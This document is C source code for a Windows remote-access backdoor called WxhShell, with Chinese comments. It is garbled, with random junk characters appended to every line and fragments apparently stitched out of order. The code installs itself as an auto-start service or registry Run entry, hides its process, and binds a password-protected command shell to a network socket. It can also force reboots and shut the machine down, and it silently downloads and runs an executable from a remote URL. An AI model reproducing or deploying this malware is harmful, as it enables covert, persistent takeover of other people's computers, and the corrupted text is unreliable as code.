    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *I9O+/,  
    if(Boot(SHUTDOWN)) dq^vK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +a0` ,Jc  
    else { r>cN,C  
    closesocket(wsh); Cxra(!&  
    ExitThread(0); |(3"_  
    } i6)HC  
    break; +l<l3uBNS  
    } BV=~ !tsl  
  // 获取shell =Hx]K8N)  
  case 's': { d;.H 9Ne  
    CmdShell(wsh); 52t6_!y+V  
    closesocket(wsh); *cAI gO7  
    ExitThread(0); RZP7h>y6@  
    break; Kjt\A]R%  
  } +0g L!r  
  // 退出 tR(nD UHV5  
  case 'x': { ~Xz?H=}U+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9nS fFGu  
    CloseIt(wsh); bk:mk[  
    break; KvXF zx|A  
    } -;*lcY*  
  // 离开 y~^-I5!_ u  
  case 'q': { ,-[z?dvO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hGJANA  
    closesocket(wsh); KZ@'NnQ  
    WSACleanup(); n}/4em?  
    exit(1); M< /  
    break; tn}MKo  
        } .zv BV_I  
  } 8p_6RvG  
  } 9J$-E4G.M  
Go(Td++HS  
  // 提示信息 Uj)Wbe[)p0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~3Y4_b5E  
} c3.;o  
  } ?OS0.  
8]Q#P  
  return; g cb6*@u!  
} MI)v@_1d  
GA;h7  
// shell模块句柄 7=gcdfW,;x  
int CmdShell(SOCKET sock) !cW!zP-B*p  
{ Up5|tx7  
STARTUPINFO si; bE?X?[K  
ZeroMemory(&si,sizeof(si)); =Y Y 7V!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -\n%K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <QD[hO^/  
PROCESS_INFORMATION ProcessInfo; H*Tzw,f~ v  
char cmdline[]="cmd"; Ll .P>LH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2'u%  
  return 0; )Z)Gb~G  
} e~7FK_y#0  
r1:CHIwK  
// 自身启动模式 j4I ~  
int StartFromService(void) 3OFI> x,h  
{ 9BAvE\o0  
typedef struct 8N \<o7t%  
{ i` Q&5KL  
  DWORD ExitStatus; -e"A)Bpl(  
  DWORD PebBaseAddress; :kFPPx?  
  DWORD AffinityMask; OrwVRqW-z  
  DWORD BasePriority; nc6PSj X  
  ULONG UniqueProcessId; N'i)s{'  
  ULONG InheritedFromUniqueProcessId; [iZH[7&j  
}   PROCESS_BASIC_INFORMATION; DL uaM?7  
V-eRGSx  
PROCNTQSIP NtQueryInformationProcess; W4UK?#S+  
{@6:kkd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sNM ]bei  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :$0yp`k  
-V-I&sO<  
  HANDLE             hProcess; B<i(Y1n[  
  PROCESS_BASIC_INFORMATION pbi; [+Fajo;0  
t<o7 S:a"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W^)mz,%x  
  if(NULL == hInst ) return 0; CK1A$$gnz  
7ug"SV6Hb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HLOr Dlj7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f;AI4:#I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "$pbK:  
u`D _  
  if (!NtQueryInformationProcess) return 0; 4}s'xMT!  
.+kg1=s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "=1gA~T  
  if(!hProcess) return 0; p]ujip  
6l[ v3l"t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JOJuGB-d  
fp*6Dv_  
  CloseHandle(hProcess); T<"Bb[kH  
1\~I "$}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Va?i#<a  
if(hProcess==NULL) return 0; ZZ  Hjv  
%}e['d h  
HMODULE hMod; r8?p6E  
char procName[255]; 1wFW&|>1  
unsigned long cbNeeded; S~)`{ \  
6VVxpDAi:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Gw*x sn1  
TgaxZW  
  CloseHandle(hProcess); J e,o(:  
+80bG(I_  
if(strstr(procName,"services")) return 1; // 以服务启动 P;o  {t  
JsNj!aeU%  
  return 0; // 注册表启动 qS9<_if2  
} = pn;b1=  
~M8|r!_  
// 主模块 Cf9{lhE8  
int StartWxhshell(LPSTR lpCmdLine) 6 &0r/r  
{ v? OUd^  
  SOCKET wsl; kJpO0k9?eY  
BOOL val=TRUE; TY'c'u,  
  int port=0; [T,Hpt  
  struct sockaddr_in door; 2x9.>nwhb  
W=3#oX.GsU  
  if(wscfg.ws_autoins) Install(); #4./>}G  
, ^K.J29  
port=atoi(lpCmdLine); ~TsRUT  
/# ]eVD  
if(port<=0) port=wscfg.ws_port; wN58uV '  
Hy1$Kvub  
  WSADATA data; }Nd1'BVf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >}\s-/  
>$TvCw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;N?(R\* 8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (WJ)!  
  door.sin_family = AF_INET; <D3mt Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \8=)X})  
  door.sin_port = htons(port); `FQ]ad Fz  
>~nr,V.q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vi *A 5  
closesocket(wsl); G{]RC^Zo  
return 1; Jx~H4y=z  
} .|^Gde  
,dR.Sac v  
  if(listen(wsl,2) == INVALID_SOCKET) { ?&;_>0P  
closesocket(wsl); =PciLh  
return 1; kl]MP}wc  
} rR :ZTfJs"  
  Wxhshell(wsl); |=*)a2  
  WSACleanup(); 9?MzIt  
J@2wPKh?Yp  
return 0; |Z94@uB  
)~)l^0X  
} >5#}/G&  
bj}Lxc],  
// 以NT服务方式启动 RrvC}9ar  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IHdA2d?.]  
{ ,|s*g'u  
DWORD   status = 0; A5J41yH  
  DWORD   specificError = 0xfffffff; v}N\z2A  
|(Mxbprz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #Zw:&' QB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bh' fkW3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @, GL&$Y:W  
  serviceStatus.dwWin32ExitCode     = 0; \Q(a`6U  
  serviceStatus.dwServiceSpecificExitCode = 0; Lv]%P.=[G  
  serviceStatus.dwCheckPoint       = 0; "A"YgD#t  
  serviceStatus.dwWaitHint       = 0; Qy0w'L/@  
bf0,3~G,P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hdCd:6   
  if (hServiceStatusHandle==0) return; O*GF/ R8B  
!IdVg$7  
status = GetLastError(); _wK.n.,S~  
  if (status!=NO_ERROR) On}1&!{1]  
{ /uX*FZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o=_7KWOA  
    serviceStatus.dwCheckPoint       = 0; -yBKA]"<I  
    serviceStatus.dwWaitHint       = 0; & H%/.4la  
    serviceStatus.dwWin32ExitCode     = status; l;0([_>*j  
    serviceStatus.dwServiceSpecificExitCode = specificError; PXYLL X\3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^J#*sn  
    return; pT->qQ3;  
  } =~hb&  
A~PR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pQBn8H|Y  
  serviceStatus.dwCheckPoint       = 0; #| _VN %!  
  serviceStatus.dwWaitHint       = 0; m..ajYSQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n H?6o#]N  
} \hgd&H0UU  
P0}{xq'k9v  
// 处理NT服务事件,比如:启动、停止 =yZq]g6Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zh;wQCDj  
{ }W8A1-UF  
switch(fdwControl) B6 (\1  
{ #4O4,F>e  
case SERVICE_CONTROL_STOP: .)b<cH~%  
  serviceStatus.dwWin32ExitCode = 0; Sp5:R75vI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dEtjcId  
  serviceStatus.dwCheckPoint   = 0; }6%XiP|  
  serviceStatus.dwWaitHint     = 0; r[i^tIv6As  
  { qIQ=OY=6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B223W_0"o  
  } IU"  
  return; {WrEe7dLy  
case SERVICE_CONTROL_PAUSE: mG\QF0h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i`2SebDj'w  
  break; c%/b*nQ(=  
case SERVICE_CONTROL_CONTINUE: 8F8?1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o'$"MC+  
  break; ]6^<VC`5D  
case SERVICE_CONTROL_INTERROGATE: {IJ;)<>&VE  
  break; 1v]%FC`  
}; 49Jnp>h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); = 0d|F 8  
} n8<?<-2  
[[IMf-]  
// 标准应用程序主函数 Pl/ dUt_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XYzaSp=bb  
{ lf7bx}P*  
F)hj\aHm k  
// 获取操作系统版本 \t7yH]:>@  
OsIsNt=GetOsVer(); !6'N-b1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Dhn7N8(LF!  
nUP, Yd  
  // 从命令行安装 A+RW=|:  
  if(strpbrk(lpCmdLine,"iI")) Install(); UmWXv#q\l  
/%&  d:  
  // 下载执行文件 dR]-R/1|  
if(wscfg.ws_downexe) { kP%hgZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UA8hYWRP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'Nl hLu  
} nU>P%|loXx  
pNb2t/8%%  
if(!OsIsNt) { Sk|e#{  
// 如果时win9x,隐藏进程并且设置为注册表启动 HJAiQ[m5s  
HideProc(); 0qJ (RB  
StartWxhshell(lpCmdLine); JLE&nbKS  
} =Nt HV4=b  
else JPqd} :u3  
  if(StartFromService()) %, psUOY  
  // 以服务方式启动 +-@n}xb@  
  StartServiceCtrlDispatcher(DispatchTable); =Pl@+RgK+  
else %i9 e<.Ot  
  // 普通方式启动 |MZ1j(_  
  StartWxhshell(lpCmdLine); T ?[28|  
1 jidBzu<  
return 0; skcyLIb  
} `MSig)V  
M4C8K{}  
&!CVF  
X 61|:E  
=========================================== }d?;kt  
d^}p#7mB\  
H]/ ~ #a  
031"D*W'i  
{Ge{@1  
UN.;w3`Oc  
" {1Ra |,;  
(+|+ELfqW  
#include <stdio.h> z,TH}s6  
#include <string.h> QXZXj#`  
#include <windows.h> jU&m*0nL  
#include <winsock2.h> f#!+l1GV  
#include <winsvc.h> YbP @  
#include <urlmon.h> bZYayjxZ5i  
<!sLf z?  
#pragma comment (lib, "Ws2_32.lib") @Ul3J )=m  
#pragma comment (lib, "urlmon.lib") ynIC (t  
Q ]CMm2L^f  
#define MAX_USER   100 // 最大客户端连接数 @njNP^'Kx  
#define BUF_SOCK   200 // sock buffer "u^Erj# /  
#define KEY_BUFF   255 // 输入 buffer Nu"v .]Y2  
3}H{4]*%_  
#define REBOOT     0   // 重启 ;_bRq:!j;  
#define SHUTDOWN   1   // 关机 Uqel UL}  
wb.yGfJ  
#define DEF_PORT   5000 // 监听端口 _aFe9+y  
{cs>Sy 4  
#define REG_LEN     16   // 注册表键长度 l}uZxKuYx  
#define SVC_LEN     80   // NT服务名长度 oK\zyNK  
hU$o^ICH  
// 从dll定义API |0i{z(B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n|{K_! f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  =1Sny7G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0/)2RmF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -iR2UE@M  
yI: ;+K  
// wxhshell配置信息 ' 4FH9J  
struct WSCFG { z}MxMx c4h  
  int ws_port;         // 监听端口 M1/d7d  
  char ws_passstr[REG_LEN]; // 口令 0&,D&y%  
  int ws_autoins;       // 安装标记, 1=yes 0=no \AwkK3  
  char ws_regname[REG_LEN]; // 注册表键名 01?+j%k=m/  
  char ws_svcname[REG_LEN]; // 服务名 '.bf88D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bh.&vp.kP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +c~&o83[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "&2 F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R 0RxcB tG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]<^2B?}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ah2 {kK  
&gp&i?%X9b  
}; i{6&/TBnr  
gE6'A  
// default Wxhshell configuration V5K/)\#  
struct WSCFG wscfg={DEF_PORT, 0>od1/`  
    "xuhuanlingzhe", 'OA*aQ=K  
    1, X}Oe'y  
    "Wxhshell", "QnYT3[l"  
    "Wxhshell", c~vhkRA  
            "WxhShell Service", %hSQ\T<8[o  
    "Wrsky Windows CmdShell Service", 5pJe`}O4  
    "Please Input Your Password: ", v#Rh:#7O%U  
  1, B%8@yS  
  "http://www.wrsky.com/wxhshell.exe", =%m{|HQ`  
  "Wxhshell.exe" 3>h2 W  
    }; M^Sa{S*?  
D}?p>e|<D  
// 消息定义模块 60~;UBm5O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wtYgHC}X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Cy[G7A%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p*b_ "aF1  
char *msg_ws_ext="\n\rExit."; e-rlk5k%f  
char *msg_ws_end="\n\rQuit."; $2a"Ec!7  
char *msg_ws_boot="\n\rReboot..."; =de'Yy:\-  
char *msg_ws_poff="\n\rShutdown..."; 8ao-]QoMZ  
char *msg_ws_down="\n\rSave to "; XkA] 9,@  
r? /Uu &  
char *msg_ws_err="\n\rErr!"; {U;yW)  
char *msg_ws_ok="\n\rOK!"; u!K1K3T6k  
FoetP`   
char ExeFile[MAX_PATH]; 01'>[h#_n  
int nUser = 0; MDlH[PJ@i  
HANDLE handles[MAX_USER]; M.Yp'Av  
int OsIsNt; C 7C4 eW8  
ooVs8T2  
SERVICE_STATUS       serviceStatus; 9ngxkOGx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w-n}&f  
,m{R m0  
// 函数声明 i% 1UUI(W  
int Install(void); {32m&a  
int Uninstall(void); 7+P;s,mi7  
int DownloadFile(char *sURL, SOCKET wsh); Wq4<9D  
int Boot(int flag); % 6 *c40  
void HideProc(void); Z<;W*6J  
int GetOsVer(void); /9pxEidVAS  
int Wxhshell(SOCKET wsl);  )kWxp  
void TalkWithClient(void *cs); bA)nWWSg=  
int CmdShell(SOCKET sock); /wLBmh1"  
int StartFromService(void); x@OBGKV  
int StartWxhshell(LPSTR lpCmdLine); UQDAql  
Vkg0C*L_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D|ceZ <9x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1D 'r;`z  
8{ZTHY -  
// 数据结构和表定义  @/s|<*  
SERVICE_TABLE_ENTRY DispatchTable[] = 5?^#v  
{ r]!#v{#.  
{wscfg.ws_svcname, NTServiceMain}, 0#WN2f, <:  
{NULL, NULL} ?b+Y])SJK  
}; ~P'.R.e  
4gen,^Ij  
// 自我安装 ^.6yzlY  
int Install(void) )g'J'_Sl  
{ V*@aE  
  char svExeFile[MAX_PATH]; _bCAZa&&  
  HKEY key; !i t orSl  
  strcpy(svExeFile,ExeFile); q@wD@_  
G?}?>O  
// 如果是win9x系统,修改注册表设为自启动 8NfXYR#  
if(!OsIsNt) { ?z.?(xZ 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !`e`4y*N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \8xSfe  
  RegCloseKey(key); -yf8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ dAyw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $BdwKk !k  
  RegCloseKey(key); uA#K59E+  
  return 0; ^t})T*hM0  
    } m8L *LB  
  } tY;<S}[@7w  
} 0I.KHIB k  
else { %j\&}>P4$  
66& uK|  
// 如果是NT以上系统,安装为系统服务 gL_1~"3KGC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W/,bz",v3  
if (schSCManager!=0) 1O`V_d)  
{ Po)U!5Tm  
  SC_HANDLE schService = CreateService  @*eY~  
  ( P gA<pfEHE  
  schSCManager, 7*PBJt\  
  wscfg.ws_svcname, ;y,g%uqE  
  wscfg.ws_svcdisp, 3/+kjY/  
  SERVICE_ALL_ACCESS, GY%5N= u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v^ ^Ibv  
  SERVICE_AUTO_START, bW=q G  
  SERVICE_ERROR_NORMAL, '6M6e(  
  svExeFile, 486\a  
  NULL, X\m\yv}}  
  NULL, /F;2wT;  
  NULL, &ww-t..  
  NULL, xfeED^?  
  NULL W\~ie}D{  
  ); M)#9Q=<  
  if (schService!=0) f5*qlQJFz\  
  { ZR\N~.  
  CloseServiceHandle(schService); C7dq=(p&  
  CloseServiceHandle(schSCManager); Q#3}AO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @4y?XL(n  
  strcat(svExeFile,wscfg.ws_svcname); 4MPy}yT*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^y@ W\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  $U?]^  
  RegCloseKey(key); svmb~n&x6  
  return 0; "Ol:ni1  
    } zwV!6xG  
  } \ UrD%;sq  
  CloseServiceHandle(schSCManager); 08xo_Oysq  
} ?XY'<]o E  
} KdkL_GSLT  
R5ra*!|L)  
return 1; ~2k.x*$  
} z0rYzn?MR  
cjN)3L{  
// 自我卸载 F\r"Y)|b=  
int Uninstall(void) C4(xtSJSd!  
{ a_c(7bQ  
  HKEY key; Z5'^81m$o  
~ L4NK#  
if(!OsIsNt) { "|X'qKS(H{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S9!KI)  
  RegDeleteValue(key,wscfg.ws_regname); le \f:  
  RegCloseKey(key); trDw|WA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Vq= Ph  
  RegDeleteValue(key,wscfg.ws_regname); 2L&c91=wE  
  RegCloseKey(key); @.7/lRr@bp  
  return 0; }W'j Dz7O  
  }  [p6:uNo  
} ]B )nN':  
} sY!JB7!j  
else { Ypzmc$Xfu  
F{jxs/~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J+t51B(a  
if (schSCManager!=0) O(I^:_eH  
{ Nqj@p<y/q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4 *}H3-`  
  if (schService!=0) vCi`htm%  
  { / ]8e[t>!f  
  if(DeleteService(schService)!=0) { 9;LjM ~Ct  
  CloseServiceHandle(schService); _fS\p|W(E  
  CloseServiceHandle(schSCManager); /}6I3n  
  return 0; B/l^=u+-  
  } n,FyK`x  
  CloseServiceHandle(schService); o:{Sws(=  
  } `"65 _?B i  
  CloseServiceHandle(schSCManager); ^"7- `<J  
} 8p 4[:M@  
} 1*p6UR&  
= z mxki  
return 1; >fYcr#i0[  
} eOb--@~8  
rY(7IX  
// 从指定url下载文件 ~T;:Tg*  
int DownloadFile(char *sURL, SOCKET wsh) KD A8x W  
{ M ]047W  
  HRESULT hr; Y#c439&  
char seps[]= "/"; MtL<)?HQ  
char *token; %j^QK>%  
char *file; @K!JE w\  
char myURL[MAX_PATH]; pG"wQ  
char myFILE[MAX_PATH]; +A8q.-N G  
.T7CMkYt  
strcpy(myURL,sURL); zd%f5L('  
  token=strtok(myURL,seps); iYBc4'X  
  while(token!=NULL) c/+6M  
  { )K?7(H/j  
    file=token; [lML^CYQ  
  token=strtok(NULL,seps); ZY,$oFdsi  
  } 'l(s)Oa{M:  
zI[<uvxzW`  
GetCurrentDirectory(MAX_PATH,myFILE); D4c'6WGb@  
strcat(myFILE, "\\"); f~W+Rt7o  
strcat(myFILE, file); 9_wDh0b~p  
  send(wsh,myFILE,strlen(myFILE),0); O^!ds  
send(wsh,"...",3,0); SLEOc OAmD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Evj%$7H1L1  
  if(hr==S_OK) SAq .W"ri  
return 0; q>(?Z#sB  
else lt-3OcC  
return 1; Y\WQ0'y  
1Z ~C3)T=  
} ?jz\[0)s  
WD\Yx~o  
// 系统电源模块 m4~ |z  
int Boot(int flag) wL~A L  
{ oF$#7#0`;8  
  HANDLE hToken; jywS<9c@  
  TOKEN_PRIVILEGES tkp; 3!F^ vZ.  
G~y:ZEnN[  
  if(OsIsNt) { OB9E30  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &S xF"pYV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sxr,] @  
    tkp.PrivilegeCount = 1; d8;kM`U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i tNuY<"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fk49~z   
if(flag==REBOOT) { MH)V=xU|)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .'o=J`|  
  return 0; Eb~vNdPo  
} Ag2~q  
else { b;D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :q3w;B~  
  return 0; "0%K3d+  
} iPl,KjGk  
  } <xSh13<  
  else { *~GI-h  
if(flag==REBOOT) { :ILpf+`yY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ??aO3Vm{  
  return 0; QlvP[Jtr  
} BPv+gx(>k  
else { Q&PWW#D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o5J6Xi0+  
  return 0; i. )^}id  
} ].d%R a:{  
} 517"x@6Q  
cZ)JvU9]  
return 1; '^m'r+B"  
}  Ps.xY;Y  
G^ k8Or2  
// win9x进程隐藏模块 oJNQdW[  
void HideProc(void) L/Kb\\f  
{ , poc!n//  
]#4kqj}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q !9;JrX  
  if ( hKernel != NULL ) 00D.Jn  
  { kjPf%*3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u~*A-X [  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f_PH?  
    FreeLibrary(hKernel); + a*Ic8*  
  } - q9m@!L  
ZDaHR-%Y  
return; d)U(XiK'  
} | eCVq(R  
UTE6U6  
// 获取操作系统版本 4jDi3MMU9  
int GetOsVer(void) yw:%)b{  
{ xU%]G .k  
  OSVERSIONINFO winfo; 6<@+J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K:-jn}i?/  
  GetVersionEx(&winfo); ~D5FnN9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e8f 7*S8  
  return 1; |APOTQV  
  else DM v;\E~D  
  return 0; E> pr})^w  
} b=BNbmX  
8J&9}@y  
// 客户端句柄模块 z[ ;n2o|s  
int Wxhshell(SOCKET wsl) nLAwo3  
{ 5N>flQ  
  SOCKET wsh; \C~6 '  
  struct sockaddr_in client; c}$>UhLe  
  DWORD myID; h{o,*QL  
`+(n+QS _  
  while(nUser<MAX_USER) bxPa|s?  
{ {q$U\y%Rq  
  int nSize=sizeof(client); w5y.kc;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !nL94:8U  
  if(wsh==INVALID_SOCKET) return 1; :RIqA/  
v -)<nox  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <(TAA15Xol  
if(handles[nUser]==0) Ep;?%o,G  
  closesocket(wsh); &S*{a  
else |O)ZjLx  
  nUser++; B>'J5bZsw  
  } mpD.x5jm<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h`! 4`eI  
GGwwdB\x'  
  return 0; Yur}<>`(  
} -">Tvi4  
g qORE/[  
// 关闭 socket dHOH]x  
void CloseIt(SOCKET wsh) o$->|k  
{  8zRw\]?  
closesocket(wsh); 8?m=Vw<kIZ  
nUser--; ubZuvWZ  
ExitThread(0); 65@GXn[W_  
} >Giw\|:f(  
jxW/"Q   
// 客户端请求句柄 )IK%Dg(v  
void TalkWithClient(void *cs) J R~s`>2  
{ LjGLi>kI~  
GCQOjqiR  
  SOCKET wsh=(SOCKET)cs; cEp/qzAiD%  
  char pwd[SVC_LEN]; w=-{njMz6&  
  char cmd[KEY_BUFF]; YH%U$eS#g  
char chr[1]; ,1|=_M31  
int i,j; i)cG  
n&]J-^Tx  
  while (nUser < MAX_USER) { Z>w@3$\z  
:-+][ [  
if(wscfg.ws_passstr) { _}\KC+n8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~FI} [6Dd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cuG;1,?b  
  //ZeroMemory(pwd,KEY_BUFF); S+6YD0  
      i=0; D5@}L$ u  
  while(i<SVC_LEN) { |@b|Q,  
c 3| Lk7Q  
  // 设置超时 j&.JAQ*2;  
  fd_set FdRead; N0D5N(kH%  
  struct timeval TimeOut; Z$Ps_Ik  
  FD_ZERO(&FdRead); p+Bvfn  
  FD_SET(wsh,&FdRead); tIBEja^l  
  TimeOut.tv_sec=8; {hO|{vz  
  TimeOut.tv_usec=0; Y8s-cc(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @:'E9J06  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N/0Q`cQ-  
KVoi>?a   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )i39'0a  
  pwd=chr[0]; R. ryy  
  if(chr[0]==0xd || chr[0]==0xa) { P:'y}a-  
  pwd=0; <;b  
  break; 1Ogtzf  
  } h9c7P@29  
  i++; =&4eW#{LuH  
    } r!>=G%  
n#GHa>p.-  
  // 如果是非法用户,关闭 socket '@hnqcqXq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A-\n"}4  
} y fS  
D 5Z7?Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rY6bc\?`x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {[H#lX 4  
:^QV,d<C  
while(1) { iu+H+_  
ONcS,oHW  
  ZeroMemory(cmd,KEY_BUFF); -Vg0J6x  
UU =,Brb  
      // 自动支持客户端 telnet标准   pek5P4W_  
  j=0; kc2E4i  
  while(j<KEY_BUFF) { {;UBW7{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OH+2)X  
  cmd[j]=chr[0]; z"sv,W  
  if(chr[0]==0xa || chr[0]==0xd) { 3@;24X  
  cmd[j]=0; #eI` l`}  
  break; +(q r{G?  
  } ,qgR+]?({  
  j++; 7BA9zs392  
    } h7]>b'H  
5FNf)F   
  // 下载文件 p_3VFKq>0  
  if(strstr(cmd,"http://")) { 5bK:sht  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c$hoqi |tD  
  if(DownloadFile(cmd,wsh)) y3V47J2o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&bE/i_T  
  else .|kp`-F51  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = 6w(9O  
